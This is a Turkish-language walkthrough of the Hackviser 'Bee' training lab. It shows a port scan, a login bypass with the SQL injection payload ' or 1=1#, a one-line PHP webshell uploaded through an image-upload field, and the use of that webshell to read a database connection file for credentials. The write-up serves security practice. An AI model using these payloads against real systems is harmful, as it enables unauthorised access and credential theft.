Post

Bee

Bu makine, veritabanını istismar etmeye neden olan SQL Injection ve sunucuya zararlı dosyaların yüklenmesine sebebiyet veren File Upload zafiyetlerinin nasıl istismar edileceğini öğretmeye odaklanır.

SQL Injection ve File Upload zafiyetlerinin nasıl keşfedileceği ve bu zafiyetlerin nasıl istismar edileceği ile ilgili alıştırmalar yapmak için önerilir.


Bee


Hangi portlar açık?

1
2
3
4
5
6
7
8
9
10
11
12
┌──(root㉿kali)-[~]
└─# nmap -T4 -sV 172.20.4.54 
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-29 01:22 EDT
Nmap scan report for 172.20.4.54 (172.20.4.54)
Host is up (0.074s latency).
Not shown: 998 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
80/tcp   open  http    Apache httpd 2.4.56 ((Debian))
3306/tcp open  mysql   MySQL (unauthorized)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.24 seconds
  • 80,3306

Sitede oturum açabilmek için hosts dosyasına hangi domaini eklediniz?

Login butonuna tıkladığımızda dashboard.innovifyai.hackviser sitesine gidiyor. Ancak websitesi açılmıyor, hata veriyor.

/etc/hosts dosyasına domain adresini eklersek sorunumuz çözülür.

1
echo "172.20.4.54 dashboard.innovifyai.hackviser" >> /etc/hosts

Artık login sayfasına erişebiliyoruz.

Hangi zafiyet ile login panelini bypass ettiniz?

Başlıkta belirtildiği üzere SQL injection zafiyeti olduğunu varsayarak email kısmına ' or 1=1# payloadunu kullanarak login panelini bypass etmeyi denedim. Öncelikle eposta alanına istediğimizi yazabimemiz için sayfaya sağ tıklayıp sayfayı incele dedikten sonra ilgili input etiketini bulmamız ve type=”email” özelliğini silmemiz gerekiyor.

Ve başarılı oldum.

Login’i bypass ederek erişim elde ettiğiniz panelde kullanıcı ayarlarını içeren sayfanın adı ve uzantısı nedir?

  • settings.php

File upload zafiyeti ile makinede shell aldığınız kullanıcının id’si nedir?

settings.php dizininde fotoğraf yükleme alanı mevcut. Bir webshell dosyası oluşturup yüklemeyi deniyorum.

1
echo "<?php system($_GET['cmd']); ?>" > webshell.php

Bu payload; URL’den “cmd” GET parametresi ile komut alır ve sunucunun terminalinde bu komutu çalıştırarak sonucunu web sayfasında gösterir.

/uploads dizinine gittiğimde webshell.php dosyasının yüklendiğini görüyorum.

http://dashboard.innovifyai.hackviser/uploads/webshell.php?cmd=KOMUT ile komut çalıştırabiliriz.

http://dashboard.innovifyai.hackviser/uploads/webshell.php?cmd=ls ../ ile bir üst dizini listelediğimde db_connect.php dosyasını görüntülüyorum.

MySQL parolasının bu dosyada olduğunu düşünüp dosyayı görüntülüyorum.

Görüntülemeye çalıştığımızda hata almış olsak bile sayfanın kaynak kodunu incelediğimizde istediğimiz bilgilere erişiyoruz.

fsoc

This post is licensed under CC BY 4.0 by the author.